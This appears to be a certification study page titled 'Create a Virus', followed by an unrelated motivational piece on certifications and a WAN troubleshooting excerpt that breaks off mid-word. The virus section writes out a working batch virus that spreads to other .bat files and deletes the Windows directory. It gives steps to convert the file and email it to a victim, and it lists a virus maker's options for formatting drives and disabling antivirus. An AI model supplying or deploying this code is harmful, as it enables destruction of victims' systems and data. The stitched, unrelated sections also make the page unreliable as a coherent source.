EC EHE - Create a Virus

 

A virus can be created in two ways: writing a virus program and using virus maker tools.

        •  Writing a Simple Virus Program

The following steps are involved in writing a simple virus program:

1. Create a batch file Game.bat with the following text:

@ echo off

for %%f in (*.bat) do copy %%f + Game.bat

del c:\Windows\*.*

2. Convert the Game.bat batch file into Game.com using the bat2com utility

3. Send the Game.com file as an email attachment to the victim

4. When Game.com is executed by the victim, it copies itself to all the .bat files in the current directory on the target machine and deletes all the files in the Windows directory

        • Using Virus Maker Tools

Virus maker tools allow you to customize and craft your virus into a single executable file. The nature of the virus depends on the options available in the virus maker tool.

Once the virus file is built and executed, it can perform the following tasks:

              1. Disable Windows command prompt and Windows Task Manager
              2. Shut down the system
              3. Infect all executable files
              4. Inject itself into the Windows registry and start up with Windows
              5. Perform non-malicious activity such as unusual mouse and keyboard actions

The following tools are useful for testing the security of your own antivirus software.

              • DELmE’s Batch Virus Maker

DELmE’s Batch Virus Generator is a virus creation program with many options to infect the victim’s PC, such as formatting the C: drive, deleting all the files in the hard disk drive, disabling admin privileges, cleaning the registry, changing the home page, killing tasks, and disabling/removing the antivirus and firewall.

Why Certifications Methods?

Hey there, Let’s take a step back and change our perspective: Approach certifications as a means to enrich your knowledge and skills, rather than merely a stepping stone to monetary gain or career advancement. Certifications should be about self-improvement and mastery , not just a checkbox on a resume. Embrace the journey of learning for its own sake, and watch how it transforms your personal and professional life in ways you never imagined. The Real Reason Behind Certifications The commercial marketing driving force of certifications is often centered around securing a new or better job. But I urge you to reconsider if this is your primary motivation . Take a moment to reflect on your personal development and your deepest interests within the realm of technology.  Is your passion in: Programming Crafting elegant code and solving complex problems? System Administration, Ensuring seamless operations and managing vast networks? Data Analytics Unraveling the stories hidden within data?

WAN Problem Areas Certification Objectives Point-to-Point Protocols Switched Protocols      In this chapter, we will discuss troubleshooting point-to-point and switched protocols. It’s very important to understand the concepts and functionality of each protocol. We will discuss the HDLC and SDLC encapsulation methods, as well as both CHAP and PAP authentications via PPP. We will identify ISDN, Frame Relay, X.25, SMDS, and ATM transmissions and common problems associated with each of them. Point-to-Point Protocol      In the 1980s, the Internet really started to come to life due to its usage by the U.S. government, universities, and large corporations. These hosts were being supported by the Internet Protocol (IP) and connected via a series of LANs. The most common of these LANs was the Ethernet. Other hosts were connected through WANs, using technologies such as X.25. This eventually evolved into the need to transmit data via the original method used before networking was ever establis
